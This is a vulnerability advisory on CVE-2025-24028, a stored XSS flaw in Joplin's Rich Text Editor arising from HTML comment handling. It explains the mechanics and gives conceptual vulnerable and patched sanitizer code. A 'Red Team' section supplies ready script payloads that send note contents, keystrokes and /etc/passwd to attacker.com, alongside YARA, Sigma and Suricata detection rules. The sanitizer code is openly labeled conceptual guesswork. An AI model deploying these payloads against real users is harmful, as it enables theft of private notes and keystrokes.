CVE-2025-24028
Executive Summary
CVE-2025-24028 is a stored Cross-Site Scripting (XSS) vulnerability in Joplin, a popular open-source note-taking and to-do application. The flaw arises from a discrepancy between how Joplin's HTML sanitizer processes HTML comments and how the browser subsequently interprets them. This allows an attacker to inject malicious JavaScript into a note, which executes when a victim opens the note in the Rich Text Editor. While the Markdown viewer is cross-origin isolated and offers some protection, the Rich Text Editor is directly vulnerable. The vulnerability affects versions prior to 3.2.12, with the issue potentially introduced in commit 9b50539. The CVSS score is 7.8 (High), and the EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Joplin is distributed as a desktop application (Electron-based) and is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain package security concerns are not directly applicable. However, users should ensure they download Joplin from the official GitHub releases or the official website to avoid tampered binaries.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) - The attacker must have the ability to create or modify a note within the Joplin application.
- Attack Complexity (AC): Low (L) - The attack does not require special conditions beyond crafting a malicious note.
- Privileges Required (PR): None (N) - No authentication is needed to create a note.
- User Interaction (UI): Required (R) - The victim must open the malicious note in the Rich Text Editor.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the Joplin application's security context.
- Confidentiality (C): High (H) - An attacker can read local files, access notes, and exfiltrate data.
- Integrity (I): High (H) - An attacker can modify notes, create new notes, or alter application behavior.
- Availability (A): High (H) - An attacker could potentially crash the application or perform denial-of-service actions.
Threat Level: High. While no active exploitation is reported, the impact is severe, and the attack vector is straightforward for any user who can import or create notes.
Deep Dive & Mechanics
The core of this vulnerability lies in the inconsistent handling of HTML comments between Joplin's sanitizer and the browser's HTML parser.
HTML Sanitizer Behavior: Joplin uses an HTML sanitizer (likely DOMPurify or a similar library) to clean user-supplied HTML before rendering it in the Rich Text Editor. The sanitizer is designed to remove or neutralize potentially dangerous elements like
<script>tags, event handlers (onerror,onload), andjavascript:URLs. However, the sanitizer does not properly handle HTML comments (<!-- ... -->). Specifically, it may not strip or escape the content inside comments, or it may treat the comment boundaries incorrectly.Browser Parser Behavior: When the browser's HTML parser encounters a comment, it ignores the content inside. However, the parser can be tricked if the comment contains special sequences. For example, if the comment contains
-->, the parser will close the comment prematurely. More critically, if the comment contains a<script>tag or other active content that is not properly escaped, the browser may execute it.The Discrepancy: The Joplin sanitizer might output HTML that, when parsed by the browser, results in active content being executed. For instance, consider the following crafted input:
<!--><script>alert('XSS')</script>-->The sanitizer might see this as a harmless comment and leave it intact. However, the browser's parser might interpret
-->as the end of the comment, leaving<script>alert('XSS')</script>as executable code outside the comment. Alternatively, the sanitizer might strip the outer<!--but leave the inner-->, causing the browser to misinterpret subsequent HTML.Impact on Rich Text Editor vs. Markdown Viewer:
- Rich Text Editor: This editor directly renders the sanitized HTML. It is not cross-origin isolated, meaning JavaScript can access the top-level
windowobject. This allows an attacker to steal session tokens, access local storage, read other notes, and perform actions on behalf of the user. - Markdown Viewer: This viewer is cross-origin isolated, which prevents JavaScript from accessing the top-level
windowobject. This significantly limits the impact of an XSS attack in this context, but it does not eliminate it entirely. An attacker could still potentially perform actions within the isolated context, such as defacing the note or triggering network requests to external servers (though these would be subject to CORS).
- Rich Text Editor: This editor directly renders the sanitized HTML. It is not cross-origin isolated, meaning JavaScript can access the top-level
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely resides in the HTML sanitization logic. A simplified example of the flawed sanitizer might look like this:
// Vulnerable sanitizer (pseudocode)
function sanitizeHTML(input) {
// Remove script tags
input = input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
// Remove event handlers
input = input.replace(/\son\w+\s*=\s*"[^"]*"/gi, '');
// Remove javascript: URLs
input = input.replace(/javascript\s*:/gi, '');
// BUT: Does NOT handle comments properly
return input;
}
This sanitizer would fail to handle a crafted comment like:
<!--><img src=x onerror=alert(1)>-->
The sanitizer would see the entire string as a comment and leave it unchanged. The browser, however, would parse --> as the end of the comment, leaving <img src=x onerror=alert(1)> as active HTML.
Patched Code (Conceptual): The patched code would need to properly escape or remove HTML comments. A robust approach would be to use a well-tested library like DOMPurify with appropriate configuration, or to explicitly strip all HTML comments before sanitization.
// Patched sanitizer (pseudocode)
function sanitizeHTML(input) {
// Remove all HTML comments first
input = input.replace(/<!--[\s\S]*?-->/g, '');
// Then apply standard sanitization
// ... (use DOMPurify or similar)
return input;
}
Alternatively, the patched code might use a more sophisticated HTML parser that correctly handles comment boundaries and ensures that no active content can be injected through comment manipulation.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Objective: Demonstrate the XSS vulnerability by injecting a JavaScript payload that exfiltrates the user's notes.
Prerequisites:
- Joplin version < 3.2.12 installed.
- Ability to create or import a note (e.g., via the GUI or by importing a
.jexor.mdfile).
Steps:
Craft the Malicious Note: Create a note with the following HTML content. This payload attempts to steal the contents of all notes and send them to an attacker-controlled server.
<!--><script> fetch('http://attacker.com/steal', { method: 'POST', body: JSON.stringify({notes: document.body.innerText}) }); </script>-->Note: Replace
http://attacker.com/stealwith your actual listener.Import the Note: Import the crafted note into Joplin. This can be done by saving the above HTML as a
.mdfile and importing it, or by pasting the HTML directly into the Rich Text Editor (if the editor allows raw HTML input).Trigger the Exploit: Open the imported note in the Rich Text Editor. The JavaScript payload will execute, sending the note content to the attacker's server.
Alternative Payload (Keylogging):
<!--><script>
document.addEventListener('keydown', function(e) {
fetch('http://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({key: e.key})
});
});
</script>-->
Alternative Payload (Local File Read):
<!--><script>
fetch('file:///etc/passwd').then(r => r.text()).then(t => {
fetch('http://attacker.com/exfil', {method: 'POST', body: t});
});
</script>-->
Note: This may be blocked by CORS or same-origin policy in some contexts.
Blue Team (Defense & Detection)
Objective: Detect and prevent exploitation of CVE-2025-24028.
Steps:
Patch Immediately: Upgrade Joplin to version 3.2.12 or later. This is the primary and most effective mitigation.
Monitor for Suspicious Notes: Implement monitoring to detect notes containing HTML comments with unusual content. Look for patterns like
<!--><script>or<!--><img.Web Application Firewall (WAF) Rules: If Joplin is accessed via a web interface (e.g., Joplin Server), deploy WAF rules to block requests containing malicious HTML comment patterns.
Endpoint Detection and Response (EDR): Configure EDR rules to detect Joplin processes spawning child processes (e.g.,
cmd.exe,powershell) or making unusual network connections.User Education: Train users to be cautious when opening notes from untrusted sources, especially if they contain unusual formatting or HTML.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to unknown or suspicious domains/IPs from the Joplin process.
- HTTP POST requests to external servers containing note content or keystroke data.
- DNS queries for domains associated with exfiltration (e.g.,
attacker.com).
File IOCs:
- Note files (
.md,.jex) containing HTML comments with embedded JavaScript, e.g.,<!--><script>...</script>-->. - Note files containing event handlers like
onerror,onload,onmouseoverwithin comments.
- Note files (
Process IOCs:
- Joplin process (
Joplin.exeorjoplin) spawning unexpected child processes. - Joplin process making network connections to non-standard ports (e.g., 4444, 8080).
- Joplin process (
Registry/File System IOCs (Windows):
- Unusual entries in
HKEY_CURRENT_USER\Software\Joplinor similar registry keys. - Modified configuration files in the Joplin profile directory (e.g.,
%APPDATA%\Joplin).
- Unusual entries in
Detection Engineering
YARA Rule
rule CVE_2025_24028_Joplin_XSS_Comment_Injection {
meta:
description = "Detects Joplin notes containing malicious HTML comment injection patterns (CVE-2025-24028)"
author = "Valters IT"
date = "2025-02-20"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-24028"
severity = "high"
strings:
$comment_script = /<!--\s*><\s*script/i
$comment_img = /<!--\s*><\s*img/i
$comment_iframe = /<!--\s*><\s*iframe/i
$comment_svg = /<!--\s*><\s*svg/i
$comment_onerror = /<!--\s*><[^>]*\sonerror\s*=/i
$comment_onload = /<!--\s*><[^>]*\sonload\s*=/i
$comment_onmouseover = /<!--\s*><[^>]*\sonmouseover\s*=/i
condition:
any of them
}
Sigma Rule
title: Joplin XSS via HTML Comment Injection (CVE-2025-24028)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects Joplin processes making outbound connections after opening a note with malicious HTML comments.
author: Valters IT
date: 2025/02/20
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-24028
logsource:
category: network_connection
product: windows
service: sysmon
detection:
selection:
Image|endswith: '\Joplin.exe'
Initiated: 'true'
DestinationPort:
- 80
- 443
- 8080
- 8443
condition: selection
falsepositives:
- Legitimate Joplin sync operations (e.g., with Joplin Server or Dropbox)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24028 Joplin XSS Exfiltration Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/steal"; http_uri; content:"notes"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade Joplin to version 3.2.12 or later. This is the only official fix.
- Workaround: There are no known workarounds. Users should avoid opening untrusted notes in the Rich Text Editor. If possible, use the Markdown viewer for notes from unknown sources.
- Network Segmentation: If using Joplin Server, ensure it is not directly exposed to the internet. Use a VPN or firewall to restrict access.
- Application Control: Use application whitelisting to prevent unauthorized executables from running.
- User Training: Educate users about the risks of opening notes from untrusted sources.
- Monitoring: Implement the detection rules provided in this report to identify potential exploitation attempts.
Valters IT